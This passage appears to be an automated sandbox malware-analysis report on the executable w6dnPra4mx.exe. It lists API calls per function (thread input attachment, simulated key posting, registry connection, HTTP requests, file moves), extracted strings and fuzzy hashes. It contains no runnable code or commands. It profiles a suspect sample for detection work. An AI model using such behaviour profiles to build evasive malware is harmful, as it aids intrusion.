                              • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,0045FDE0,?,?,00000001), ref: 0043788D
                              • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,0045FDE0,?,?,00000001), ref: 004378A1
                              • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,0045FDE0,?,?,00000001), ref: 004378AC
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Thread$AttachInput$Window$Process$CurrentForeground
                              • String ID:
                              • API String ID: 2156557900-0
                              • Opcode ID: f5203a8e23f024bead7fa0256802a4b49a7a8dce25e7908e04b44143f6d1477f
                              • Instruction ID: cf5237ead9178137421241ba4763476990ac919c12b5de4495d1c20f4e3090f4
                              • Opcode Fuzzy Hash: f5203a8e23f024bead7fa0256802a4b49a7a8dce25e7908e04b44143f6d1477f
                              • Instruction Fuzzy Hash: B0316FB1504341AFD768EF28DC88A7BB7A9EF9D310F14182EF44197250D7B89C44CB69
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: __wcsicoll
                              • String ID: 0%d$DOWN$OFF
                              • API String ID: 3832890014-468733193
                              • Opcode ID: b886d43e96c57de01ffb669c6ba173cdd7012b944398daffbb17888043fd80c7
                              • Instruction ID: 3901981f80fa7430cd77b89167089bc3925961a07aad88d0cc2f25a35af8916b
                              • Opcode Fuzzy Hash: b886d43e96c57de01ffb669c6ba173cdd7012b944398daffbb17888043fd80c7
                              • Instruction Fuzzy Hash: B7F1D8614083856DEB21EB21C845BAF7BE85F95309F08092FF98212193D7BCD68DC76B
                              APIs
                              • VariantInit.OLEAUT32(00000000), ref: 0045E959
                              • VariantCopy.OLEAUT32(00000000), ref: 0045E963
                              • VariantClear.OLEAUT32 ref: 0045E970
                              • VariantTimeToSystemTime.OLEAUT32 ref: 0045EAEB
                              • __swprintf.LIBCMT ref: 0045EB1F
                              • VarR8FromDec.OLEAUT32(?,?), ref: 0045EB61
                              • VariantInit.OLEAUT32(00000000), ref: 0045EBE7
                              Strings
                              • %4d%02d%02d%02d%02d%02d, xrefs: 0045EB19
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Variant$InitTime$ClearCopyFromSystem__swprintf
                              • String ID: %4d%02d%02d%02d%02d%02d
                              • API String ID: 43541914-1568723262
                              • Opcode ID: 37b26c3e130c1a31af09048bf95897f87bf3bde4777f47a21ee6b10bd43e23e8
                              • Instruction ID: db8708ae94f177a13b26e6bf0e0b18ed2eb17208bc27bd00c320e315e6f9d40a
                              • Opcode Fuzzy Hash: 37b26c3e130c1a31af09048bf95897f87bf3bde4777f47a21ee6b10bd43e23e8
                              • Instruction Fuzzy Hash: ABC1F4BB1006019BC704AF06D480666F7A1FFD4322F14896FED984B341DB3AE95ED7A6
                              APIs
                              • InterlockedDecrement.KERNEL32(004A7CAC), ref: 0042FE66
                              • Sleep.KERNEL32(0000000A), ref: 0042FE6E
                              • InterlockedDecrement.KERNEL32(004A7CAC), ref: 0042FF5D
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: DecrementInterlocked$Sleep
                              • String ID: 0vH$0vH$4RH0vH$@COM_EVENTOBJ
                              • API String ID: 2250217261-3412429629
                              • Opcode ID: 8ee3dc3b90658de1bdba7935e7c509bae4c97cbbd898303c1487c3161a53cb39
                              • Instruction ID: 990b5f35a06538e4ae7b6c94f393f4a5fafaaf51bfa382c75dcb300f2d234fa3
                              • Opcode Fuzzy Hash: 8ee3dc3b90658de1bdba7935e7c509bae4c97cbbd898303c1487c3161a53cb39
                              • Instruction Fuzzy Hash: E0B1C0715083009FC714EF54C990A5FB3E4AF98304F508A2FF495972A2DB78ED4ACB9A
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID:
                              • String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
                              • API String ID: 0-1603158881
                              • Opcode ID: b68d94a9d6a5d87f13f0fb5a725928f8f142c37ef967d8f11e3e615729381ce2
                              • Instruction ID: 1d39c91c6ba170ccd8bd44326015c92659356e06a413e753493f98454e3169a0
                              • Opcode Fuzzy Hash: b68d94a9d6a5d87f13f0fb5a725928f8f142c37ef967d8f11e3e615729381ce2
                              • Instruction Fuzzy Hash: 49A1D3B14043459BCB20EF50CC81BDE37A4AF94348F44891FF9896B182EF79A64DC76A
                              APIs
                              • _memset.LIBCMT ref: 00479D1F
                              • VariantInit.OLEAUT32(?), ref: 00479F06
                              • VariantClear.OLEAUT32(?), ref: 00479F11
                              • VariantInit.OLEAUT32(?), ref: 00479DF7
                                • Part of subcall function 00467626: VariantInit.OLEAUT32(00000000), ref: 00467666
                                • Part of subcall function 00467626: VariantCopy.OLEAUT32(00000000,00479BD3), ref: 00467670
                                • Part of subcall function 00467626: VariantClear.OLEAUT32 ref: 0046767D
                              • VariantClear.OLEAUT32(?), ref: 00479F9C
                                • Part of subcall function 004781AE: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000001,00000000,NULL Pointer assignment,00000001), ref: 00478201
                                • Part of subcall function 004781AE: VariantCopy.OLEAUT32(?,?), ref: 00478259
                                • Part of subcall function 004781AE: VariantCopy.OLEAUT32(-00000058,?), ref: 00478270
                                • Part of subcall function 004781AE: VariantCopy.OLEAUT32(-00000078,?), ref: 00478287
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Variant$Copy$ClearInit$ErrorLast_memset
                              • String ID: F$Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
                              • API String ID: 665237470-60002521
                              • Opcode ID: d48da594d57f6aadbcc7a695fec4cf75dc39f6aec1ddb07572db38b207896a5c
                              • Instruction ID: 799f1794578ead7d01377608c22e1fb401aa4fc5ffca8a64c02b8280356d09a3
                              • Opcode Fuzzy Hash: d48da594d57f6aadbcc7a695fec4cf75dc39f6aec1ddb07572db38b207896a5c
                              • Instruction Fuzzy Hash: 6091B272204341AFD720DF64D880EABB7E9EFC4314F50891EF28987291D7B9AD45C766
                              APIs
                              • mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 00401D5A
                              • DestroyWindow.USER32(?), ref: 0042A751
                              • UnregisterHotKey.USER32(?), ref: 0042A778
                              • FreeLibrary.KERNEL32(?), ref: 0042A822
                              • VirtualFree.KERNEL32(?,00000000,00008000), ref: 0042A854
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Free$DestroyLibrarySendStringUnregisterVirtualWindow
                              • String ID: close all$#v
                              • API String ID: 4174999648-3101823635
                              • Opcode ID: ddf39f1eda455a1c63d5a7d3271f56cd3ed42d138f3b783cbb3ca1597947a384
                              • Instruction ID: e23b5dd52123a376b0379481fe8be5d2f02d07e70979f80a1c72d587d5a24a2c
                              • Opcode Fuzzy Hash: ddf39f1eda455a1c63d5a7d3271f56cd3ed42d138f3b783cbb3ca1597947a384
                              • Instruction Fuzzy Hash: FFA17075A102248FCB20EF55CC85B9AB3B8BF44304F5044EEE90967291D779AE85CF9D
                              APIs
                                • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                              • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0046A84D
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: ConnectRegistry_wcslen
                              • String ID: HH
                              • API String ID: 535477410-2761332787
                              • Opcode ID: 95544a26956fe54eb2a8636236a3b10fc217bfdb2bff17811b2f45cb9df4731a
                              • Instruction ID: 68d8ff7817732ac0dd8275009c421e29eb5870de2046e22f9b94a35ba54c9d9f
                              • Opcode Fuzzy Hash: 95544a26956fe54eb2a8636236a3b10fc217bfdb2bff17811b2f45cb9df4731a
                              • Instruction Fuzzy Hash: FE617FB56083009FD304EF65C981F6BB7E4AF88704F14891EF681A7291D678ED09CB97
                              APIs
                              • _memset.LIBCMT ref: 0045F317
                              • GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 0045F367
                              • IsMenu.USER32(?), ref: 0045F380
                              • CreatePopupMenu.USER32 ref: 0045F3C5
                              • GetMenuItemCount.USER32(?), ref: 0045F42F
                              • InsertMenuItemW.USER32(?,?,00000001,?), ref: 0045F45B
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Menu$Item$CountCreateInfoInsertPopup_memset
                              • String ID: 0$2
                              • API String ID: 3311875123-3793063076
                              • Opcode ID: fbdd9a11e44187a4bf70f7de18f8631e861f84fad9f8f26dcc1fb12baf34abbc
                              • Instruction ID: 6c7ab59355789d00cbd42ef361c1bd9312a1bc9220e92816940967e3bd29aecc
                              • Opcode Fuzzy Hash: fbdd9a11e44187a4bf70f7de18f8631e861f84fad9f8f26dcc1fb12baf34abbc
                              • Instruction Fuzzy Hash: E451CF702043409FD710CF69D888B6BBBE4AFA5319F104A3EFD9586292D378994DCB67
                              APIs
                              • GetModuleHandleW.KERNEL32(00000000,004A8E80,00000100,00000100,?,C:\Users\user\Desktop\w6dnPra4mx.exe), ref: 0043719E
                              • LoadStringW.USER32(00000000), ref: 004371A7
                              • GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 004371BD
                              • LoadStringW.USER32(00000000), ref: 004371C0
                              • _printf.LIBCMT ref: 004371EC
                              • MessageBoxW.USER32(00000000,?,?,00011010), ref: 00437208
                              Strings
                              • %s (%d) : ==> %s: %s %s, xrefs: 004371E7
                              • C:\Users\user\Desktop\w6dnPra4mx.exe, xrefs: 00437189
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: HandleLoadModuleString$Message_printf
                              • String ID: %s (%d) : ==> %s: %s %s$C:\Users\user\Desktop\w6dnPra4mx.exe
                              • API String ID: 220974073-586426749
                              • Opcode ID: 94d1ddb87e9fdddd1f0eb85761e890ae026325719f266e56d7856026e6b64315
                              • Instruction ID: cc9e6972dbc5209964c20f0f7d1f7455a13934f6c555fd98bc0bf92a0502fb90
                              • Opcode Fuzzy Hash: 94d1ddb87e9fdddd1f0eb85761e890ae026325719f266e56d7856026e6b64315
                              • Instruction Fuzzy Hash: F7014FB2A543447AE620EB549D06FFB365CABC4B01F444C1EB794A60C0AAF865548BBA
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: b00adbc1ea9d53563bb8a7982d93c3fa4b8356126e06b3aad1cc727703ca6f1a
                              • Instruction ID: 20732dcab93056f759d0b04a6df1a57780e33876730225f1fefd21ccf2a16f59
                              • Opcode Fuzzy Hash: b00adbc1ea9d53563bb8a7982d93c3fa4b8356126e06b3aad1cc727703ca6f1a
                              • Instruction Fuzzy Hash: 36519070200301ABD320DF29CC85F5BB7E8EB48715F540A1EF995E7292D7B4E949CB29
                              APIs
                                • Part of subcall function 0040FFB0: GetFullPathNameW.KERNEL32(00000000,00000104,C:\Users\user\Desktop\w6dnPra4mx.exe,?,C:\Users\user\Desktop\w6dnPra4mx.exe,004A8E80,C:\Users\user\Desktop\w6dnPra4mx.exe,0040F3D2), ref: 0040FFCA
                                • Part of subcall function 00436AC4: GetFileAttributesW.KERNEL32(?,0044BD82,?,?,?), ref: 00436AC9
                              • lstrcmpiW.KERNEL32(?,?), ref: 0045355E
                              • MoveFileW.KERNEL32(?,?), ref: 0045358E
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: File$AttributesFullMoveNamePathlstrcmpi
                              • String ID:
                              • API String ID: 978794511-0
                              • Opcode ID: 905b41a6b5f1f1e7811aa1c06e555ad1605d40905c9a381d53b63ac73f12040d
                              • Instruction ID: dcad70f49e32ae1adaf0c812d378eb0bba467e0a617048934f4a65f03e3a0b24
                              • Opcode Fuzzy Hash: 905b41a6b5f1f1e7811aa1c06e555ad1605d40905c9a381d53b63ac73f12040d
                              • Instruction Fuzzy Hash: 665162B25043406AC724EF61D885ADFB3E8AFC8305F44992EB94992151E73DD34DC767
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 2697ea5a26a9fc7488a3d070abad83f7d669ddccf749f4bfc66ff3ac1f4b4023
                              • Instruction ID: b1e2397247e50d0c7000acf5a2db8631a214b417b603bec0598d849dd48054e0
                              • Opcode Fuzzy Hash: 2697ea5a26a9fc7488a3d070abad83f7d669ddccf749f4bfc66ff3ac1f4b4023
                              • Instruction Fuzzy Hash: E54128332402806BE320A75DB8C4ABBFB98E7A2362F50443FF18196520D76678C5D339
                              APIs
                                • Part of subcall function 0044593E: GetWindowThreadProcessId.USER32(00000001,00000000), ref: 0044595D
                                • Part of subcall function 0044593E: GetCurrentThreadId.KERNEL32 ref: 00445964
                                • Part of subcall function 0044593E: AttachThreadInput.USER32(00000000,?,00000001,00478FA7), ref: 0044596B
                              • MapVirtualKeyW.USER32(00000025,00000000), ref: 00445D15
                              • PostMessageW.USER32(?,00000100,00000025,00000000), ref: 00445D35
                              • Sleep.KERNEL32(00000000,?,00000100,00000025,00000000), ref: 00445D3F
                              • MapVirtualKeyW.USER32(00000025,00000000), ref: 00445D45
                              • PostMessageW.USER32(00000000,00000100,00000027,00000000), ref: 00445D66
                              • Sleep.KERNEL32(00000000), ref: 00445D70
                              • MapVirtualKeyW.USER32(00000025,00000000), ref: 00445D76
                              • PostMessageW.USER32(?,00000101,00000027,00000000), ref: 00445D8B
                              • Sleep.KERNEL32(00000000,?,00000101,00000027,00000000), ref: 00445D8F
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
                              • String ID:
                              • API String ID: 2014098862-0
                              • Opcode ID: 621277f82d70151dd5f553487d646ea3797e8fa9e9e6e4ab5ab83039983e6254
                              • Instruction ID: b085f3065cf9cd100f04f322da00d4b037e108fc79bf5967fdabce1cd6d2e74b
                              • Opcode Fuzzy Hash: 621277f82d70151dd5f553487d646ea3797e8fa9e9e6e4ab5ab83039983e6254
                              • Instruction Fuzzy Hash: 7B116971790704B7F620AB958C8AF5A7399EF88B11F20080DF790AB1C1C9F5E4418B7C
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: AddressProc_malloc$_strcat_strlen
                              • String ID: AU3_FreeVar
                              • API String ID: 2184576858-771828931
                              • Opcode ID: 111e65442873bd7cbffe48700b84114c079de58427b558a04ef4a5d95244f0f0
                              • Instruction ID: c940ad03d776ce5ee908f8b881b33357b51647545ffc53e819ca791e1fdac2da
                              • Opcode Fuzzy Hash: 111e65442873bd7cbffe48700b84114c079de58427b558a04ef4a5d95244f0f0
                              • Instruction Fuzzy Hash: EDA18DB5604205DFC300DF59C480A2AB7E5FFC8319F1489AEE9554B362D739ED89CB8A
                              APIs
                              • InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 0044AA5A
                              • HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 0044AA8D
                              • InternetQueryOptionW.WININET(00000000,0000001F,?,?), ref: 0044AAF9
                              • InternetSetOptionW.WININET(00000000,0000001F,?,00000004), ref: 0044AB11
                              • HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0044AB20
                              • HttpQueryInfoW.WININET(00000000,00000005,?,00000000,00000000), ref: 0044AB61
                                • Part of subcall function 0044286A: GetLastError.KERNEL32(00000000,0044AA07,?,00000000,00000000,00000001,?,?), ref: 00442880
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: HttpInternet$OptionQueryRequest$ConnectErrorInfoLastOpenSend
                              • String ID:
                              • API String ID: 1291720006-3916222277
                              • Opcode ID: fd0d9a71f1b9f9aed2e07c44adb1cce69882d59a8a6dee97d1abd644e851efd9
                              • Instruction ID: 782b6278bf246bef60821ca34847c3ce69a0d92f774604c9678bedd135ce19ea
                              • Opcode Fuzzy Hash: fd0d9a71f1b9f9aed2e07c44adb1cce69882d59a8a6dee97d1abd644e851efd9
                              • Instruction Fuzzy Hash: 9C51E6B12803016BF320EB65CD85FBBB7A8FB89704F00091EF74196181D7B9A548C76A
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: ErrorLastselect
                              • String ID: HH
                              • API String ID: 215497628-2761332787
                              • Opcode ID: 8403caabb69194ab749b3558b6d17cf16ba223cf5fbe2e3d1d341ca8c1bfc534
                              • Instruction ID: a252b81ccbce03d1e7b1b0efababa2c0a0929072778302a7b1202b90a7697d70
                              • Opcode Fuzzy Hash: 8403caabb69194ab749b3558b6d17cf16ba223cf5fbe2e3d1d341ca8c1bfc534
                              • Instruction Fuzzy Hash: BF51E4726043005BD320EB65DC42F9BB399EB94324F044A2EF558E7281EB79E944C7AA
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
